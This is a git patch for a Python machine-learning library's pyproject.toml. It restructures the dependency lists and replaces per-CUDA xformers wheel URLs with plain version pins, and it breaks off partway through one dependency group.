From ddbbfe52cf98848f9cfed1d5cd67a0e9e0d0c6cd Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Tue, 17 Mar 2026 07:58:28 -0700 Subject: [PATCH 01/39] Update pyproject.toml --- pyproject.toml | 636 ++++++++----------------------------------------- 1 file changed, 95 insertions(+), 541 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index f7112aa89e..5a75495c56 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,6 +25,29 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ + "unsloth_zoo>=2026.3.4", + "wheel>=0.42.0", + "packaging", + "torch>=2.4.0", + "torchvision", + "numpy", + "tqdm", + "psutil", + "tyro", + "protobuf", + "xformers>=0.0.27.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", + "triton>=3.0.0 ; ('linux' in sys_platform)", + "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "sentencepiece>=0.2.0", + "datasets>=3.4.1,!=4.0.*,!=4.1.0,<4.4.0", + "accelerate>=0.34.1", + "peft>=0.18.0,!=0.11.0", + "huggingface_hub>=0.34.0", + "hf_transfer", + "diffusers", + "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.3.0", + "trl>=0.18.2,!=0.19.0,<=0.24.0", "typer", "pydantic", "pyyaml", @@ -64,14 +87,11 @@ studio = [ exclude = ["images*", "tests*", "kernels/moe*"] [project.optional-dependencies] -triton = [ - "triton>=3.0.0 ; ('linux' in sys_platform)", - "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", -] - -huggingfacenotorch = [ +huggingface = [ + "unsloth_zoo>=2026.3.4", "wheel>=0.42.0", "packaging", + "torchvision", "numpy", "tqdm", "psutil", @@ -86,257 +106,132 @@ huggingfacenotorch = [ "diffusers", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.3.0", "trl>=0.18.2,!=0.19.0,<=0.24.0", - "sentence-transformers", -] -huggingface = [ - "unsloth[huggingfacenotorch]", - "unsloth_zoo>=2026.3.4", - "torchvision", - "unsloth[triton]", -] -windows = [ - "unsloth[huggingface]", - "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0 ; (sys_platform == 'win32')", - "xformers>=0.0.22.post7 ; (sys_platform == 'win32')", + "typer", + "pydantic", + "pyyaml", + "nest-asyncio", ] base = [ "unsloth[huggingface]", ] cu118only = [ - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.22.post7%2Bcu118-cp39-cp39-manylinux2014_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.22.post7%2Bcu118-cp310-cp310-manylinux2014_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.22.post7%2Bcu118-cp311-cp311-manylinux2014_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", + "xformers==0.0.22.post7 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu121only = [ - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.22.post7-cp39-cp39-manylinux2014_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.22.post7-cp310-cp310-manylinux2014_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.22.post7-cp311-cp311-manylinux2014_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", + "xformers==0.0.22.post7 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu118onlytorch211 = [ - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.23%2Bcu118-cp39-cp39-manylinux2014_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.23%2Bcu118-cp310-cp310-manylinux2014_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.23%2Bcu118-cp311-cp311-manylinux2014_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", + "xformers==0.0.23 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu121onlytorch211 = [ - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.23-cp39-cp39-manylinux2014_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.23-cp310-cp310-manylinux2014_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.23-cp311-cp311-manylinux2014_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", + "xformers==0.0.23 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu118onlytorch212 = [ - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.23.post1%2Bcu118-cp39-cp39-manylinux2014_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.23.post1%2Bcu118-cp310-cp310-manylinux2014_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.23.post1%2Bcu118-cp311-cp311-manylinux2014_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", + "xformers==0.0.23.post1 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu121onlytorch212 = [ - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.23.post1-cp39-cp39-manylinux2014_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.23.post1-cp310-cp310-manylinux2014_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.23.post1-cp311-cp311-manylinux2014_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", + "xformers==0.0.23.post1 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu118onlytorch220 = [ - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.24%2Bcu118-cp39-cp39-manylinux2014_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.24%2Bcu118-cp310-cp310-manylinux2014_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.24%2Bcu118-cp311-cp311-manylinux2014_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", + "xformers==0.0.24 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu121onlytorch220 = [ - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.24-cp39-cp39-manylinux2014_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.24-cp310-cp310-manylinux2014_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.24-cp311-cp311-manylinux2014_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", + "xformers==0.0.24 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu118onlytorch230 = [ - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.27%2Bcu118-cp39-cp39-manylinux2014_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.27%2Bcu118-cp310-cp310-manylinux2014_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.27%2Bcu118-cp311-cp311-manylinux2014_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.27%2Bcu118-cp312-cp312-manylinux2014_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", + "xformers==0.0.27 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu121onlytorch230 = [ - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.27-cp39-cp39-manylinux2014_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.27-cp310-cp310-manylinux2014_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.27-cp311-cp311-manylinux2014_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.27-cp312-cp312-manylinux2014_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", + "xformers==0.0.27 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu118onlytorch240 = [ - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.27.post2%2Bcu118-cp39-cp39-manylinux2014_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.27.post2%2Bcu118-cp310-cp310-manylinux2014_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.27.post2%2Bcu118-cp311-cp311-manylinux2014_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.27.post2%2Bcu118-cp312-cp312-manylinux2014_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", + "xformers==0.0.27.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu121onlytorch240 = [ - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.28.post1-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.28.post1-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.28.post1-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.28.post1-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", -] -cu124onlytorch240 = [ - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post1-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post1-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post1-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post1-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post1-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post1-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post1-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post1-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')", + "xformers==0.0.27.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu118onlytorch250 = [ - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.28.post2-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.28.post2-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.28.post2-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.28.post2-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", + "xformers==0.0.28.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu121onlytorch250 = [ - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.28.post2-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.28.post2-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.28.post2-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.28.post2-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", + "xformers==0.0.28.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu124onlytorch250 = [ - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post2-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post2-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post2-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post2-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post2-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post2-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post2-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.28.post2-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')", + "xformers==0.0.28.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu118onlytorch251 = [ - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.29.post1-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.29.post1-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.29.post1-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.29.post1-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", + "xformers==0.0.29.post1 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu121onlytorch251 = [ - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.29.post1-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.29.post1-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.29.post1-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu121/xformers-0.0.29.post1-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", + "xformers==0.0.29.post1 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu124onlytorch251 = [ - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post1-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post1-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post1-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post1-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post1-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post1-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post1-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post1-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')", + "xformers==0.0.29.post1 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu118onlytorch260 = [ - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.29.post3-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.29.post3-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.29.post3-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.29.post3-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", + "xformers==0.0.29.post3 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu124onlytorch260 = [ - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post3-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post3-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post3-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post3-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post3-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post3-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post3-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu124/xformers-0.0.29.post3-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')", + "xformers==0.0.29.post3 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu126onlytorch260 = [ - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.29.post3-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.29.post3-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.29.post3-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.29.post3-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.29.post3-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.29.post3-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.29.post3-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.29.post3-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')", + "xformers==0.0.29.post3 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu118onlytorch270 = [ - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')", + "xformers==0.0.30 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu126onlytorch270 = [ - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')", + "xformers==0.0.30 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu128onlytorch270 = [ - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.30-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.30-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.30-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.30-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.30-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.30-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.30-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.30-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')", + "xformers==0.0.30 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu118onlytorch271 = [ - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.31.post1 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu126onlytorch271 = [ - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.31.post1-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.31.post1 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu128onlytorch271 = [ - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.31.post1-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.31.post1 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu118onlytorch280 = [ - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.32.post2-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.32.post2-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", + "xformers==0.0.32.post2 ; ('linux' in sys_platform or sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] cu126onlytorch280 = [ - "xformers @ https://download.pytorch.org/whl/cu128/xformers-0.0.32.post2-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ 